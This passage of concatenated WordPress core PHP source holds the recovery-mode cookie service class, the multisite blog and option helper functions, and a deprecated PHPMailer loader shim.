 * Error Protection API: WP_Recovery_Mode_Cookie_Service class
 *
 * @package WordPress
 * @since 5.2.0
 */

/**
 * Core class used to set, validate, and clear cookies that identify a Recovery Mode session.
 *
 * @since 5.2.0
 */
#[AllowDynamicProperties]
final class WP_Recovery_Mode_Cookie_Service {

	/**
	 * Checks whether the recovery mode cookie is set.
	 *
	 * @since 5.2.0
	 *
	 * @return bool True if the cookie is set, false otherwise.
	 */
	public function is_cookie_set() {
		return ! empty( $_COOKIE[ RECOVERY_MODE_COOKIE ] );
	}

	/**
	 * Sets the recovery mode cookie.
	 *
	 * This must be immediately followed by exiting the request.
	 *
	 * @since 5.2.0
	 */
	public function set_cookie() {

		$value = $this->generate_cookie();

		/**
		 * Filters the length of time a Recovery Mode cookie is valid for.
		 *
		 * @since 5.2.0
		 *
		 * @param int $length Length in seconds.
		 */
		$length = apply_filters( 'recovery_mode_cookie_length', WEEK_IN_SECONDS );

		$expire = time() + $length;

		setcookie( RECOVERY_MODE_COOKIE, $value, $expire, COOKIEPATH, COOKIE_DOMAIN, is_ssl(), true );

		if ( COOKIEPATH !== SITECOOKIEPATH ) {
			setcookie( RECOVERY_MODE_COOKIE, $value, $expire, SITECOOKIEPATH, COOKIE_DOMAIN, is_ssl(), true );
		}
	}

	/**
	 * Clears the recovery mode cookie.
	 *
	 * @since 5.2.0
	 */
	public function clear_cookie() {
		setcookie( RECOVERY_MODE_COOKIE, ' ', time() - YEAR_IN_SECONDS, COOKIEPATH, COOKIE_DOMAIN );
		setcookie( RECOVERY_MODE_COOKIE, ' ', time() - YEAR_IN_SECONDS, SITECOOKIEPATH, COOKIE_DOMAIN );
	}

	/**
	 * Validates the recovery mode cookie.
	 *
	 * @since 5.2.0
	 *
	 * @param string $cookie Optionally specify the cookie string.
	 *                       If omitted, it will be retrieved from the super global.
	 * @return true|WP_Error True on success, error object on failure.
	 */
	public function validate_cookie( $cookie = '' ) {

		if ( ! $cookie ) {
			if ( empty( $_COOKIE[ RECOVERY_MODE_COOKIE ] ) ) {
				return new WP_Error( 'no_cookie', __( 'No cookie present.' ) );
			}

			$cookie = $_COOKIE[ RECOVERY_MODE_COOKIE ];
		}

		$parts = $this->parse_cookie( $cookie );

		if ( is_wp_error( $parts ) ) {
			return $parts;
		}

		list( , $created_at, $random, $signature ) = $parts;

		if ( ! ctype_digit( $created_at ) ) {
			return new WP_Error( 'invalid_created_at', __( 'Invalid cookie format.' ) );
		}

		/** This filter is documented in wp-includes/class-wp-recovery-mode-cookie-service.php */
		$length = apply_filters( 'recovery_mode_cookie_length', WEEK_IN_SECONDS );

		if ( time() > $created_at + $length ) {
			return new WP_Error( 'expired', __( 'Cookie expired.' ) );
		}

		$to_sign = sprintf( 'recovery_mode|%s|%s', $created_at, $random );
		$hashed  = $this->recovery_mode_hash( $to_sign );

		if ( ! hash_equals( $signature, $hashed ) ) {
			return new WP_Error( 'signature_mismatch', __( 'Invalid cookie.' ) );
		}

		return true;
	}

	/**
	 * Gets the session identifier from the cookie.
	 *
	 * The cookie should be validated before calling this API.
	 *
	 * @since 5.2.0
	 *
	 * @param string $cookie Optionally specify the cookie string.
	 *                       If omitted, it will be retrieved from the super global.
	 * @return string|WP_Error Session ID on success, or error object on failure.
	 */
	public function get_session_id_from_cookie( $cookie = '' ) {
		if ( ! $cookie ) {
			if ( empty( $_COOKIE[ RECOVERY_MODE_COOKIE ] ) ) {
				return new WP_Error( 'no_cookie', __( 'No cookie present.' ) );
			}

			$cookie = $_COOKIE[ RECOVERY_MODE_COOKIE ];
		}

		$parts = $this->parse_cookie( $cookie );
		if ( is_wp_error( $parts ) ) {
			return $parts;
		}

		list( , , $random ) = $parts;

		return sha1( $random );
	}

	/**
	 * Parses the cookie into its four parts.
	 *
	 * @since 5.2.0
	 *
	 * @param string $cookie Cookie content.
	 * @return array|WP_Error Cookie parts array, or error object on failure.
	 */
	private function parse_cookie( $cookie ) {
		$cookie = base64_decode( $cookie );
		$parts  = explode( '|', $cookie );

		if ( 4 !== count( $parts ) ) {
			return new WP_Error( 'invalid_format', __( 'Invalid cookie format.' ) );
		}

		return $parts;
	}

	/**
	 * Generates the recovery mode cookie value.
	 *
	 * The cookie is a base64 encoded string with the following format:
	 *
	 * recovery_mode|iat|rand|signature
	 *
	 * Where "recovery_mode" is a constant string,
	 * iat is the time the cookie was generated at,
	 * rand is a randomly generated password that is also used as a session identifier
	 * and signature is an hmac of the preceding 3 parts.
	 *
	 * @since 5.2.0
	 *
	 * @return string Generated cookie content.
	 */
	private function generate_cookie() {
		$to_sign = sprintf( 'recovery_mode|%s|%s', time(), wp_generate_password( 20, false ) );
		$signed  = $this->recovery_mode_hash( $to_sign );

		return base64_encode( sprintf( '%s|%s', $to_sign, $signed ) );
	}

	/**
	 * Gets a form of `wp_hash()` specific to Recovery Mode.
	 *
	 * We cannot use `wp_hash()` because it is defined in `pluggable.php` which is not loaded until after plugins are loaded,
	 * which is too late to verify the recovery mode cookie.
	 *
	 * This tries to use the `AUTH` salts first, but if they aren't valid specific salts will be generated and stored.
	 *
	 * @since 5.2.0
	 *
	 * @param string $data Data to hash.
	 * @return string|false The hashed $data, or false on failure.
	 */
	private function recovery_mode_hash( $data ) {
		$default_keys = array_unique(
			array(
				'put your unique phrase here',
				/*
				 * translators: This string should only be translated if wp-config-sample.php is localized.
				 * You can check the localized release package or
				 * https://i18n.svn.wordpress.org/<locale code>/branches/<wp version>/dist/wp-config-sample.php
				 */
				__( 'put your unique phrase here' ),
			)
		);

		if ( ! defined( 'AUTH_KEY' ) || in_array( AUTH_KEY, $default_keys, true ) ) {
			$auth_key = get_site_option( 'recovery_mode_auth_key' );

			if ( ! $auth_key ) {
				if ( ! function_exists( 'wp_generate_password' ) ) {
					require_once ABSPATH . WPINC . '/pluggable.php';
				}

				$auth_key = wp_generate_password( 64, true, true );
				update_site_option( 'recovery_mode_auth_key', $auth_key );
			}
		} else {
			$auth_key = AUTH_KEY;
		}

		if ( ! defined( 'AUTH_SALT' ) || in_array( AUTH_SALT, $default_keys, true ) || AUTH_SALT === $auth_key ) {
			$auth_salt = get_site_option( 'recovery_mode_auth_salt' );

			if ( ! $auth_salt ) {
				if ( ! function_exists( 'wp_generate_password' ) ) {
					require_once ABSPATH . WPINC . '/pluggable.php';
				}

				$auth_salt = wp_generate_password( 64, true, true );
				update_site_option( 'recovery_mode_auth_salt', $auth_salt );
			}
		} else {
			$auth_salt = AUTH_SALT;
		}

		$secret = $auth_key . $auth_salt;

		return hash_hmac( 'sha1', $data, $secret );
	}
}
<?php

/**
 * Site/blog functions that work with the blogs table and related data.
 *
 * @package WordPress
 * @subpackage Multisite
 * @since MU (3.0.0)
 */

require_once ABSPATH . WPINC . '/ms-site.php';
require_once ABSPATH . WPINC . '/ms-network.php';

/**
 * Updates the last_updated field for the current site.
 *
 * @since MU (3.0.0)
 */
function wpmu_update_blogs_date() {
	$site_id = get_current_blog_id();

	update_blog_details( $site_id, array( 'last_updated' => current_time( 'mysql', true ) ) );
	/**
	 * Fires after the blog details are updated.
	 *
	 * @since MU (3.0.0)
	 *
	 * @param int $blog_id Site ID.
	 */
	do_action( 'wpmu_blog_updated', $site_id );
}

/**
 * Gets a full site URL, given a site ID.
 *
 * @since MU (3.0.0)
 *
 * @param int $blog_id Site ID.
 * @return string Full site URL if found. Empty string if not.
 */
function get_blogaddress_by_id( $blog_id ) {
	$bloginfo = get_site( (int) $blog_id );

	if ( empty( $bloginfo ) ) {
		return '';
	}

	$scheme = parse_url( $bloginfo->home, PHP_URL_SCHEME );
	$scheme = empty( $scheme ) ? 'http' : $scheme;

	return esc_url( $scheme . '://' . $bloginfo->domain . $bloginfo->path );
}

/**
 * Gets a full site URL, given a site name.
 *
 * @since MU (3.0.0)
 *
 * @param string $blogname Name of the subdomain or directory.
 * @return string
 */
function get_blogaddress_by_name( $blogname ) {
	if ( is_subdomain_install() ) {
		if ( 'main' === $blogname ) {
			$blogname = 'www';
		}
		$url = rtrim( network_home_url(), '/' );
		if ( ! empty( $blogname ) ) {
			$url = preg_replace( '|^([^\.]+://)|', '${1}' . $blogname . '.', $url );
		}
	} else {
		$url = network_home_url( $blogname );
	}
	return esc_url( $url . '/' );
}

/**
 * Retrieves a site's ID given its (subdomain or directory) slug.
 *
 * @since MU (3.0.0)
 * @since 4.7.0 Converted to use `get_sites()`.
 *
 * @param string $slug A site's slug.
 * @return int|null The site ID, or null if no site is found for the given slug.
 */
function get_id_from_blogname( $slug ) {
	$current_network = get_network();
	$slug            = trim( $slug, '/' );

	if ( is_subdomain_install() ) {
		$domain = $slug . '.' . preg_replace( '|^www\.|', '', $current_network->domain );
		$path   = $current_network->path;
	} else {
		$domain = $current_network->domain;
		$path   = $current_network->path . $slug . '/';
	}

	$site_ids = get_sites(
		array(
			'number'                 => 1,
			'fields'                 => 'ids',
			'domain'                 => $domain,
			'path'                   => $path,
			'update_site_meta_cache' => false,
		)
	);

	if ( empty( $site_ids ) ) {
		return null;
	}

	return array_shift( $site_ids );
}

/**
 * Retrieves the details for a blog from the blogs table and blog options.
 *
 * @since MU (3.0.0)
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @param int|string|array $fields  Optional. A blog ID, a blog slug, or an array of fields to query against.
 *                                  Defaults to the current blog ID.
 * @param bool             $get_all Whether to retrieve all details or only the details in the blogs table.
 *                                  Default is true.
 * @return WP_Site|false Blog details on success. False on failure.
 */
function get_blog_details( $fields = null, $get_all = true ) {
	global $wpdb;

	if ( is_array( $fields ) ) {
		if ( isset( $fields['blog_id'] ) ) {
			$blog_id = $fields['blog_id'];
		} elseif ( isset( $fields['domain'] ) && isset( $fields['path'] ) ) {
			$key  = md5( $fields['domain'] . $fields['path'] );
			$blog = wp_cache_get( $key, 'blog-lookup' );
			if ( false !== $blog ) {
				return $blog;
			}
			if ( str_starts_with( $fields['domain'], 'www.' ) ) {
				$nowww = substr( $fields['domain'], 4 );
				$blog  = $wpdb->get_row( $wpdb->prepare( "SELECT * FROM $wpdb->blogs WHERE domain IN (%s,%s) AND path = %s ORDER BY CHAR_LENGTH(domain) DESC", $nowww, $fields['domain'], $fields['path'] ) );
			} else {
				$blog = $wpdb->get_row( $wpdb->prepare( "SELECT * FROM $wpdb->blogs WHERE domain = %s AND path = %s", $fields['domain'], $fields['path'] ) );
			}
			if ( $blog ) {
				wp_cache_set( $blog->blog_id . 'short', $blog, 'blog-details' );
				$blog_id = $blog->blog_id;
			} else {
				return false;
			}
		} elseif ( isset( $fields['domain'] ) && is_subdomain_install() ) {
			$key  = md5( $fields['domain'] );
			$blog = wp_cache_get( $key, 'blog-lookup' );
			if ( false !== $blog ) {
				return $blog;
			}
			if ( str_starts_with( $fields['domain'], 'www.' ) ) {
				$nowww = substr( $fields['domain'], 4 );
				$blog  = $wpdb->get_row( $wpdb->prepare( "SELECT * FROM $wpdb->blogs WHERE domain IN (%s,%s) ORDER BY CHAR_LENGTH(domain) DESC", $nowww, $fields['domain'] ) );
			} else {
				$blog = $wpdb->get_row( $wpdb->prepare( "SELECT * FROM $wpdb->blogs WHERE domain = %s", $fields['domain'] ) );
			}
			if ( $blog ) {
				wp_cache_set( $blog->blog_id . 'short', $blog, 'blog-details' );
				$blog_id = $blog->blog_id;
			} else {
				return false;
			}
		} else {
			return false;
		}
	} else {
		if ( ! $fields ) {
			$blog_id = get_current_blog_id();
		} elseif ( ! is_numeric( $fields ) ) {
			$blog_id = get_id_from_blogname( $fields );
		} else {
			$blog_id = $fields;
		}
	}

	$blog_id = (int) $blog_id;

	$all     = $get_all ? '' : 'short';
	$details = wp_cache_get( $blog_id . $all, 'blog-details' );

	if ( $details ) {
		if ( ! is_object( $details ) ) {
			if ( -1 == $details ) {
				return false;
			} else {
				// Clear old pre-serialized objects. Cache clients do better with that.
				wp_cache_delete( $blog_id . $all, 'blog-details' );
				unset( $details );
			}
		} else {
			return $details;
		}
	}

	// Try the other cache.
	if ( $get_all ) {
		$details = wp_cache_get( $blog_id . 'short', 'blog-details' );
	} else {
		$details = wp_cache_get( $blog_id, 'blog-details' );
		// If short was requested and full cache is set, we can return.
		if ( $details ) {
			if ( ! is_object( $details ) ) {
				if ( -1 == $details ) {
					return false;
				} else {
					// Clear old pre-serialized objects. Cache clients do better with that.
					wp_cache_delete( $blog_id, 'blog-details' );
					unset( $details );
				}
			} else {
				return $details;
			}
		}
	}

	if ( empty( $details ) ) {
		$details = WP_Site::get_instance( $blog_id );
		if ( ! $details ) {
			// Set the full cache.
			wp_cache_set( $blog_id, -1, 'blog-details' );
			return false;
		}
	}

	if ( ! $details instanceof WP_Site ) {
		$details = new WP_Site( $details );
	}

	if ( ! $get_all ) {
		wp_cache_set( $blog_id . $all, $details, 'blog-details' );
		return $details;
	}

	$switched_blog = false;

	if ( get_current_blog_id() !== $blog_id ) {
		switch_to_blog( $blog_id );
		$switched_blog = true;
	}

	$details->blogname   = get_option( 'blogname' );
	$details->siteurl    = get_option( 'siteurl' );
	$details->post_count = get_option( 'post_count' );
	$details->home       = get_option( 'home' );

	if ( $switched_blog ) {
		restore_current_blog();
	}

	/**
	 * Filters a blog's details.
	 *
	 * @since MU (3.0.0)
	 * @deprecated 4.7.0 Use {@see 'site_details'} instead.
	 *
	 * @param WP_Site $details The blog details.
	 */
	$details = apply_filters_deprecated( 'blog_details', array( $details ), '4.7.0', 'site_details' );

	wp_cache_set( $blog_id . $all, $details, 'blog-details' );

	$key = md5( $details->domain . $details->path );
	wp_cache_set( $key, $details, 'blog-lookup' );

	return $details;
}

/**
 * Clears the blog details cache.
 *
 * @since MU (3.0.0)
 *
 * @param int $blog_id Optional. Blog ID. Defaults to current blog.
 */
function refresh_blog_details( $blog_id = 0 ) {
	$blog_id = (int) $blog_id;
	if ( ! $blog_id ) {
		$blog_id = get_current_blog_id();
	}

	clean_blog_cache( $blog_id );
}

/**
 * Updates the details for a blog and the blogs table for a given blog ID.
 *
 * @since MU (3.0.0)
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @param int   $blog_id Blog ID.
 * @param array $details Array of details keyed by blogs table field names.
 * @return bool True if update succeeds, false otherwise.
 */
function update_blog_details( $blog_id, $details = array() ) {
	global $wpdb;

	if ( empty( $details ) ) {
		return false;
	}

	if ( is_object( $details ) ) {
		$details = get_object_vars( $details );
	}

	$site = wp_update_site( $blog_id, $details );

	if ( is_wp_error( $site ) ) {
		return false;
	}

	return true;
}

/**
 * Cleans the site details cache for a site.
 *
 * @since 4.7.4
 *
 * @param int $site_id Optional. Site ID. Default is the current site ID.
 */
function clean_site_details_cache( $site_id = 0 ) {
	$site_id = (int) $site_id;
	if ( ! $site_id ) {
		$site_id = get_current_blog_id();
	}

	wp_cache_delete( $site_id, 'site-details' );
	wp_cache_delete( $site_id, 'blog-details' );
}

/**
 * Retrieves option value for a given blog id based on name of option.
 *
 * If the option does not exist or does not have a value, then the return value
 * will be false. This is useful to check whether you need to install an option
 * and is commonly used during installation of plugin options and to test
 * whether upgrading is required.
 *
 * If the option was serialized then it will be unserialized when it is returned.
 *
 * @since MU (3.0.0)
 *
 * @param int    $id            A blog ID. Can be null to refer to the current blog.
 * @param string $option        Name of option to retrieve. Expected to not be SQL-escaped.
 * @param mixed  $default_value Optional. Default value to return if the option does not exist.
 * @return mixed Value set for the option.
 */
function get_blog_option( $id, $option, $default_value = false ) {
	$id = (int) $id;

	if ( empty( $id ) ) {
		$id = get_current_blog_id();
	}

	if ( get_current_blog_id() == $id ) {
		return get_option( $option, $default_value );
	}

	switch_to_blog( $id );
	$value = get_option( $option, $default_value );
	restore_current_blog();

	/**
	 * Filters a blog option value.
	 *
	 * The dynamic portion of the hook name, `$option`, refers to the blog option name.
	 *
	 * @since 3.5.0
	 *
	 * @param string  $value The option value.
	 * @param int     $id    Blog ID.
	 */
	return apply_filters( "blog_option_{$option}", $value, $id );
}

/**
 * Adds a new option for a given blog ID.
 *
 * You do not need to serialize values. If the value needs to be serialized, then
 * it will be serialized before it is inserted into the database. Remember,
 * resources can not be serialized or added as an option.
 *
 * You can create options without values and then update the values later.
 * Existing options will not be updated and checks are performed to ensure that you
 * aren't adding a protected WordPress option. Care should be taken to not name
 * options the same as the ones which are protected.
 *
 * @since MU (3.0.0)
 *
 * @param int    $id     A blog ID. Can be null to refer to the current blog.
 * @param string $option Name of option to add. Expected to not be SQL-escaped.
 * @param mixed  $value  Option value, can be anything. Expected to not be SQL-escaped.
 * @return bool True if the option was added, false otherwise.
 */
function add_blog_option( $id, $option, $value ) {
	$id = (int) $id;

	if ( empty( $id ) ) {
		$id = get_current_blog_id();
	}

	if ( get_current_blog_id() == $id ) {
		return add_option( $option, $value );
	}

	switch_to_blog( $id );
	$return = add_option( $option, $value );
	restore_current_blog();

	return $return;
}

/**
 * Removes an option by name for a given blog ID. Prevents removal of protected WordPress options.
 *
 * @since MU (3.0.0)
 *
 * @param int    $id     A blog ID. Can be null to refer to the current blog.
 * @param string $option Name of option to remove. Expected to not be SQL-escaped.
 * @return bool True if the option was deleted, false otherwise.
 */
function delete_blog_option( $id, $option ) {
	$id = (int) $id;

	if ( empty( $id ) ) {
		$id = get_current_blog_id();
	}

	if ( get_current_blog_id() == $id ) {
		return delete_option( $option );
	}

	switch_to_blog( $id );
	$return = delete_option( $option );
	restore_current_blog();

	return $return;
}

/**
 * Updates an option for a particular blog.
 *
 * @since MU (3.0.0)
 *
 * @param int    $id         The blog ID.
 * @param string $option     The option key.
 * @param mixed  $value      The option value.
 * @param mixed  $deprecated Not used.
 * @return bool True if the value was updated, false otherwise.
 */
function update_blog_option( $id, $option, $value, $deprecated = null ) {
	$id = (int) $id;

	if ( null !== $deprecated ) {
		_deprecated_argument( __FUNCTION__, '3.1.0' );
	}

	if ( get_current_blog_id() == $id ) {
		return update_option( $option, $value );
	}

	switch_to_blog( $id );
	$return = update_option( $option, $value );
	restore_current_blog();

	return $return;
}

/**
 * Switches the current blog.
 *
 * This function is useful if you need to pull posts, or other information,
 * from other blogs. You can switch back afterwards using restore_current_blog().
 *
 * PHP code loaded with the originally requested site, such as code from a plugin or theme, does not switch. See #14941.
 *
 * @see restore_current_blog()
 * @since MU (3.0.0)
 *
 * @global wpdb            $wpdb               WordPress database abstraction object.
 * @global int             $blog_id
 * @global array           $_wp_switched_stack
 * @global bool            $switched
 * @global string          $table_prefix
 * @global WP_Object_Cache $wp_object_cache
 *
 * @param int  $new_blog_id The ID of the blog to switch to. Default: current blog.
 * @param bool $deprecated  Not used.
 * @return true Always returns true.
 */
function switch_to_blog( $new_blog_id, $deprecated = null ) {
	global $wpdb;

	$prev_blog_id = get_current_blog_id();
	if ( empty( $new_blog_id ) ) {
		$new_blog_id = $prev_blog_id;
	}

	$GLOBALS['_wp_switched_stack'][] = $prev_blog_id;

	/*
	 * If we're switching to the same blog id that we're on,
	 * set the right vars, do the associated actions, but skip
	 * the extra unnecessary work
	 */
	if ( $new_blog_id == $prev_blog_id ) {
		/**
		 * Fires when the blog is switched.
		 *
		 * @since MU (3.0.0)
		 * @since 5.4.0 The `$context` parameter was added.
		 *
		 * @param int    $new_blog_id  New blog ID.
		 * @param int    $prev_blog_id Previous blog ID.
		 * @param string $context      Additional context. Accepts 'switch' when called from switch_to_blog()
		 *                             or 'restore' when called from restore_current_blog().
		 */
		do_action( 'switch_blog', $new_blog_id, $prev_blog_id, 'switch' );

		$GLOBALS['switched'] = true;

		return true;
	}

	$wpdb->set_blog_id( $new_blog_id );
	$GLOBALS['table_prefix'] = $wpdb->get_blog_prefix();
	$GLOBALS['blog_id']      = $new_blog_id;

	if ( function_exists( 'wp_cache_switch_to_blog' ) ) {
		wp_cache_switch_to_blog( $new_blog_id );
	} else {
		global $wp_object_cache;

		if ( is_object( $wp_object_cache ) && isset( $wp_object_cache->global_groups ) ) {
			$global_groups = $wp_object_cache->global_groups;
		} else {
			$global_groups = false;
		}

		wp_cache_init();

		if ( function_exists( 'wp_cache_add_global_groups' ) ) {
			if ( is_array( $global_groups ) ) {
				wp_cache_add_global_groups( $global_groups );
			} else {
				wp_cache_add_global_groups(
					array(
						'blog-details',
						'blog-id-cache',
						'blog-lookup',
						'blog_meta',
						'global-posts',
						'networks',
						'network-queries',
						'sites',
						'site-details',
						'site-options',
						'site-queries',
						'site-transient',
						'theme_files',
						'rss',
						'users',
						'user-queries',
						'user_meta',
						'useremail',
						'userlogins',
						'userslugs',
					)
				);
			}

			wp_cache_add_non_persistent_groups( array( 'counts', 'plugins', 'theme_json' ) );
		}
	}

	/** This filter is documented in wp-includes/ms-blogs.php */
	do_action( 'switch_blog', $new_blog_id, $prev_blog_id, 'switch' );

	$GLOBALS['switched'] = true;

	return true;
}

/**
 * Restores the current blog, after calling switch_to_blog().
 *
 * @see switch_to_blog()
 * @since MU (3.0.0)
 *
 * @global wpdb            $wpdb               WordPress database abstraction object.
 * @global array           $_wp_switched_stack
 * @global int             $blog_id
 * @global bool            $switched
 * @global string          $table_prefix
 * @global WP_Object_Cache $wp_object_cache
 *
 * @return bool True on success, false if we're already on the current blog.
 */
function restore_current_blog() {
	global $wpdb;

	if ( empty( $GLOBALS['_wp_switched_stack'] ) ) {
		return false;
	}

	$new_blog_id  = array_pop( $GLOBALS['_wp_switched_stack'] );
	$prev_blog_id = get_current_blog_id();

	if ( $new_blog_id == $prev_blog_id ) {
		/** This filter is documented in wp-includes/ms-blogs.php */
		do_action( 'switch_blog', $new_blog_id, $prev_blog_id, 'restore' );

		// If we still have items in the switched stack, consider ourselves still 'switched'.
		$GLOBALS['switched'] = ! empty( $GLOBALS['_wp_switched_stack'] );

		return true;
	}

	$wpdb->set_blog_id( $new_blog_id );
	$GLOBALS['blog_id']      = $new_blog_id;
	$GLOBALS['table_prefix'] = $wpdb->get_blog_prefix();

	if ( function_exists( 'wp_cache_switch_to_blog' ) ) {
		wp_cache_switch_to_blog( $new_blog_id );
	} else {
		global $wp_object_cache;

		if ( is_object( $wp_object_cache ) && isset( $wp_object_cache->global_groups ) ) {
			$global_groups = $wp_object_cache->global_groups;
		} else {
			$global_groups = false;
		}

		wp_cache_init();

		if ( function_exists( 'wp_cache_add_global_groups' ) ) {
			if ( is_array( $global_groups ) ) {
				wp_cache_add_global_groups( $global_groups );
			} else {
				wp_cache_add_global_groups(
					array(
						'blog-details',
						'blog-id-cache',
						'blog-lookup',
						'blog_meta',
						'global-posts',
						'networks',
						'network-queries',
						'sites',
						'site-details',
						'site-options',
						'site-queries',
						'site-transient',
						'theme_files',
						'rss',
						'users',
						'user-queries',
						'user_meta',
						'useremail',
						'userlogins',
						'userslugs',
					)
				);
			}

			wp_cache_add_non_persistent_groups( array( 'counts', 'plugins', 'theme_json' ) );
		}
	}

	/** This filter is documented in wp-includes/ms-blogs.php */
	do_action( 'switch_blog', $new_blog_id, $prev_blog_id, 'restore' );

	// If we still have items in the switched stack, consider ourselves still 'switched'.
	$GLOBALS['switched'] = ! empty( $GLOBALS['_wp_switched_stack'] );

	return true;
}

/**
 * Switches the initialized roles and current user capabilities to another site.
 *
 * @since 4.9.0
 *
 * @param int $new_site_id New site ID.
 * @param int $old_site_id Old site ID.
 */
function wp_switch_roles_and_user( $new_site_id, $old_site_id ) {
	if ( $new_site_id == $old_site_id ) {
		return;
	}

	if ( ! did_action( 'init' ) ) {
		return;
	}

	wp_roles()->for_site( $new_site_id );
	wp_get_current_user()->for_site( $new_site_id );
}

/**
 * Determines if switch_to_blog() is in effect.
 *
 * @since 3.5.0
 *
 * @global array $_wp_switched_stack
 *
 * @return bool True if switched, false otherwise.
 */
function ms_is_switched() {
	return ! empty( $GLOBALS['_wp_switched_stack'] );
}

/**
 * Checks if a particular blog is archived.
 *
 * @since MU (3.0.0)
 *
 * @param int $id Blog ID.
 * @return string Whether the blog is archived or not.
 */
function is_archived( $id ) {
	return get_blog_status( $id, 'archived' );
}

/**
 * Updates the 'archived' status of a particular blog.
 *
 * @since MU (3.0.0)
 *
 * @param int    $id       Blog ID.
 * @param string $archived The new status.
 * @return string $archived
 */
function update_archived( $id, $archived ) {
	update_blog_status( $id, 'archived', $archived );
	return $archived;
}

/**
 * Updates a blog details field.
 *
 * @since MU (3.0.0)
 * @since 5.1.0 Use wp_update_site() internally.
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @param int    $blog_id    Blog ID.
 * @param string $pref       Field name.
 * @param string $value      Field value.
 * @param null   $deprecated Not used.
 * @return string|false $value
 */
function update_blog_status( $blog_id, $pref, $value, $deprecated = null ) {
	global $wpdb;

	if ( null !== $deprecated ) {
		_deprecated_argument( __FUNCTION__, '3.1.0' );
	}

	$allowed_field_names = array( 'site_id', 'domain', 'path', 'registered', 'last_updated', 'public', 'archived', 'mature', 'spam', 'deleted', 'lang_id' );

	if ( ! in_array( $pref, $allowed_field_names, true ) ) {
		return $value;
	}

	$result = wp_update_site(
		$blog_id,
		array(
			$pref => $value,
		)
	);

	if ( is_wp_error( $result ) ) {
		return false;
	}

	return $value;
}

/**
 * Gets a blog details field.
 *
 * @since MU (3.0.0)
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @param int    $id   Blog ID.
 * @param string $pref Field name.
 * @return bool|string|null $value
 */
function get_blog_status( $id, $pref ) {
	global $wpdb;

	$details = get_site( $id );
	if ( $details ) {
		return $details->$pref;
	}

	return $wpdb->get_var( $wpdb->prepare( "SELECT %s FROM {$wpdb->blogs} WHERE blog_id = %d", $pref, $id ) );
}

/**
 * Gets a list of most recently updated blogs.
 *
 * @since MU (3.0.0)
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @param mixed $deprecated Not used.
 * @param int   $start      Optional. Number of blogs to offset the query. Used to build LIMIT clause.
 *                          Can be used for pagination. Default 0.
 * @param int   $quantity   Optional. The maximum number of blogs to retrieve. Default 40.
 * @return array The list of blogs.
 */
function get_last_updated( $deprecated = '', $start = 0, $quantity = 40 ) {
	global $wpdb;

	if ( ! empty( $deprecated ) ) {
		_deprecated_argument( __FUNCTION__, 'MU' ); // Never used.
	}

	return $wpdb->get_results( $wpdb->prepare( "SELECT blog_id, domain, path FROM $wpdb->blogs WHERE site_id = %d AND public = '1' AND archived = '0' AND mature = '0' AND spam = '0' AND deleted = '0' AND last_updated != '0000-00-00 00:00:00' ORDER BY last_updated DESC limit %d, %d", get_current_network_id(), $start, $quantity ), ARRAY_A );
}

/**
 * Handler for updating the site's last updated date when a post is published or
 * an already published post is changed.
 *
 * @since 3.3.0
 *
 * @param string  $new_status The new post status.
 * @param string  $old_status The old post status.
 * @param WP_Post $post       Post object.
 */
function _update_blog_date_on_post_publish( $new_status, $old_status, $post ) {
	$post_type_obj = get_post_type_object( $post->post_type );
	if ( ! $post_type_obj || ! $post_type_obj->public ) {
		return;
	}

	if ( 'publish' !== $new_status && 'publish' !== $old_status ) {
		return;
	}

	// Post was freshly published, published post was saved, or published post was unpublished.

	wpmu_update_blogs_date();
}

/**
 * Handler for updating the current site's last updated date when a published
 * post is deleted.
 *
 * @since 3.4.0
 *
 * @param int $post_id Post ID
 */
function _update_blog_date_on_post_delete( $post_id ) {
	$post = get_post( $post_id );

	$post_type_obj = get_post_type_object( $post->post_type );
	if ( ! $post_type_obj || ! $post_type_obj->public ) {
		return;
	}

	if ( 'publish' !== $post->post_status ) {
		return;
	}

	wpmu_update_blogs_date();
}

/**
 * Handler for updating the current site's posts count when a post is deleted.
 *
 * @since 4.0.0
 * @since 6.2.0 Added the `$post` parameter.
 *
 * @param int     $post_id Post ID.
 * @param WP_Post $post    Post object.
 */
function _update_posts_count_on_delete( $post_id, $post ) {
	if ( ! $post || 'publish' !== $post->post_status || 'post' !== $post->post_type ) {
		return;
	}

	update_posts_count();
}

/**
 * Handler for updating the current site's posts count when a post status changes.
 *
 * @since 4.0.0
 * @since 4.9.0 Added the `$post` parameter.
 *
 * @param string  $new_status The status the post is changing to.
 * @param string  $old_status The status the post is changing from.
 * @param WP_Post $post       Post object
 */
function _update_posts_count_on_transition_post_status( $new_status, $old_status, $post = null ) {
	if ( $new_status === $old_status ) {
		return;
	}

	if ( 'post' !== get_post_type( $post ) ) {
		return;
	}

	if ( 'publish' !== $new_status && 'publish' !== $old_status ) {
		return;
	}

	update_posts_count();
}

/**
 * Counts number of sites grouped by site status.
 *
 * @since 5.3.0
 *
 * @param int $network_id Optional. The network to get counts for. Default is the current network ID.
 * @return int[] {
 *     Numbers of sites grouped by site status.
 *
 *     @type int $all      The total number of sites.
 *     @type int $public   The number of public sites.
 *     @type int $archived The number of archived sites.
 *     @type int $mature   The number of mature sites.
 *     @type int $spam     The number of spam sites.
 *     @type int $deleted  The number of deleted sites.
 * }
 */
function wp_count_sites( $network_id = null ) {
	if ( empty( $network_id ) ) {
		$network_id = get_current_network_id();
	}

	$counts = array();
	$args   = array(
		'network_id'    => $network_id,
		'number'        => 1,
		'fields'        => 'ids',
		'no_found_rows' => false,
	);

	$q             = new WP_Site_Query( $args );
	$counts['all'] = $q->found_sites;

	$_args    = $args;
	$statuses = array( 'public', 'archived', 'mature', 'spam', 'deleted' );

	foreach ( $statuses as $status ) {
		$_args            = $args;
		$_args[ $status ] = 1;

		$q                 = new WP_Site_Query( $_args );
		$counts[ $status ] = $q->found_sites;
	}

	return $counts;
}
<?php

/**
 * The PHPMailer class has been moved to the wp-includes/PHPMailer subdirectory and now uses the PHPMailer\PHPMailer namespace.
 */
if ( function_exists( '_deprecated_file' ) ) {
	_deprecated_file(
		basename( __FILE__ ),
		'5.5.0',
		WPINC . '/PHPMailer/PHPMailer.php',
		__( 'The PHPMailer class has been moved to wp-includes/PHPMailer subdirectory and now uses the PHPMailer\PHPMailer namespace.' )
	);
}

require_once __DIR__ . '/PHPMailer/PHPMailer.php';
